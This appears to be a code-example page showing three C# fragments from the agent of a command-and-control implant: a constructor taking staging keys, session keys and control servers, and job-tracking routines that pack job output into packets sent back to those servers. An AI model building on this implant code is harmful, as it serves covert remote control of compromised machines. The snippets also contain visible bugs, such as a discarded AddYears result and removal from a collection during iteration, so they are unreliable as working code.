コード例 #1
0
        ////////////////////////////////////////////////////////////////////////////////
        public Agent(String stagingKey, String sessionKey, String sessionId, String servers)
        {
            this.sessionId  = sessionId;
            defaultResponse = "";

            killDate = DateTime.Now;
            killDate.AddYears(1);

            controlServers = servers.Split(',');

            coms        = new Coms(sessionId, stagingKey, sessionKey, controlServers);
            jobTracking = new JobTracking();
        }
コード例 #2
0
 ////////////////////////////////////////////////////////////////////////////////
 internal void checkAgentJobs(ref byte[] packets, ref Coms coms)
 {
     foreach (KeyValuePair <string, Job> job in jobs)
     {
         if (job.Value.isCompleted())
         {
             //Add to packet
             jobs.Remove(job.Key);
             //Add the correct result id
             packets = Misc.combine(packets, coms.encodePacket(110, job.Value.getOutput(), 0));
         }
     }
 }
コード例 #3
0
        ////////////////////////////////////////////////////////////////////////////////
        internal byte[] getAgentJobsOutput(ref Coms coms)
        {
            byte[] jobResults = new byte[0];
            foreach (String jobName in jobs.Keys)
            {
                String results = "";
                if (jobs[jobName].isCompleted())
                {
                    results = jobs[jobName].getOutput();
                    jobs[jobName].killThread();
                    jobs.Remove(jobName);
                }
                else
                {
                    results = jobs[jobName].getOutput();
                }

                if (results.Length > 0)
                {
                    jobResults = Misc.combine(jobResults, coms.encodePacket(110, results, 0));
                }
            }
            return(jobResults);
        }